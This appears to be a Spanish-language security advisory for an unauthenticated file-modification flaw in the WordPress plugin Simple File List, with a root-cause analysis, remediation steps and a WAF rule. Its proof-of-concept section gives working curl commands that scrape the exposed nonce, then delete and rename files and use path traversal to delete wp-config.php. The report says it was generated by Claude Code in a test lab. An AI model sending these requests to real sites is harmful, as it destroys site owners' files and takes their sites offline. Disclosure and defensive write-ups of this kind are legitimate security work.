CVE-2026-11912: Simple File List <= 6.3.7 - Falta de autorización para modificación de archivos no autenticada

Resumen ejecutivo

Detalles de la vulnerabilidad

Descripción

El plugin Simple File List para WordPress es vulnerable a la modificación arbitraria de archivos debido a controles de autorización insuficientes en todas las versiones hasta la 6.3.7 inclusive. Esto permite que atacantes no autenticados eliminen y modifiquen archivos en el servidor.

Análisis de causa raíz

La vulnerabilidad existe porque:

1. Registro de endpoint AJAX: La acción AJAX simplefilelist_edit_job está registrada con los hooks wp_ajax_ y wp_ajax_nopriv_, permitiendo acceso no autenticado:

   root@kitploit:~

   add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
   add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
   

2. Control de autorización defectuoso: La lógica de autorización en eeSFL_FileEditor() (línea 1265) utiliza:

   root@kitploit:~

   if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
       return;
   }
   

   La función is_admin() devuelve FALSE para las solicitudes AJAX, lo que provoca que la verificación de autorización se cortocircuite antes de evaluar el ajuste AllowFrontManage.

3. Exposición del nonce: El nonce de seguridad (eeSFL_ActionNonce) se genera usando wp_create_nonce() y se expone en el código fuente HTML del frontend, permitiendo a los atacantes extraerlo sin autenticación.

Evaluación del impacto

Impacto en la confidencialidad: Alto

• Se puede leer el contenido de los archivos a través del listado de archivos
• Se exponen metadatos de archivos (nombres, tamaños, fechas)

Impacto en la integridad: Alto (CRÍTICO)

• Eliminación de archivos no autenticada
• Renombrado de archivos no autenticado
• Modificación de descripciones de archivos no autenticada
• Path traversal permite la eliminación de archivos críticos (incluyendo wp-config.php)

Impacto en la disponibilidad: Ninguno

• Las operaciones sobre archivos no causan DoS directamente, pero pueden afectar indirectamente la disponibilidad mediante la eliminación de archivos

Explotación en entorno real demostrada

Durante las pruebas, esta vulnerabilidad se explotó con éxito para ELIMINAR el archivo de configuración de WordPress (wp-config.php), rompiendo completamente el sitio. Esto demuestra la gravedad crítica del aspecto de path traversal de esta vulnerabilidad.

Pasos de explotación del PoC

Paso 1: Extraer el nonce del frontend

# Obtener el nonce de seguridad desde la página de lista de archivos
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Salida: eeSFL_ActionNonce">1c14af78c2

Paso 2: Eliminación de archivo no autenticada

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=test.txt"
# Respuesta: SUCCESS

Paso 3: Renombrado de archivo no autenticado

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Edit" \
  -d "eeFileName=original.pdf" \
  -d "eeFileNameNew=malicious.pdf"
# Respuesta: SUCCESS

Paso 4: Path traversal (CRÍTICO - Eliminar wp-config.php)

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=../../wp-config.php"
# Respuesta: SUCCESS (CRÍTICO - ¡Esto rompe el sitio!)

Remedio

Acciones inmediatas

1. Actualizar el plugin: Actualizar a Simple File List versión 6.3.8 o superior
2. Verificar si hay compromiso: Auditar el sistema de archivos en busca de modificaciones no autorizadas
3. Restaurar copias de seguridad: Si wp-config.php se vio afectado, restaurar desde una copia de seguridad

Mitigaciones temporales (si la actualización no es posible de inmediato)

1. Deshabilitar el plugin Simple File List hasta que esté parcheado
2. Eliminar cualquier página que contenga el shortcode [eeSFL]
3. Implementar reglas WAF para bloquear solicitudes AJAX sospechosas:
   root@kitploit:~

   # Bloquear llamadas AJAX de simplefilelist_edit_job
   <IfModule mod_rewrite.c>
       RewriteEngine On
       RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
       RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
   </IfModule>
   

Recomendaciones a largo plazo

• Implementar validación de origen de solicitud (protección CSRF)
• Agregar comprobaciones de capacidades para todas las operaciones sobre archivos
• Limitar la tasa de endpoints AJAX
• Monitorear registros en busca de operaciones sospechosas sobre archivos

Referencias

• Wordfence Intelligence
• Página del plugin Simple File List
• SVN Trunk del plugin

Entorno de pruebas

• Laboratorio: DDEV poloss-lab
• URL: https://poloss-lab.ddev.site
• Versión del plugin probada: 6.3.7
• Versión de WordPress: Más reciente (PHP 8.4)

Informe generado por Claude Code - Laboratorio de pruebas de seguridad de WordPress Fecha: 20 de junio de 2026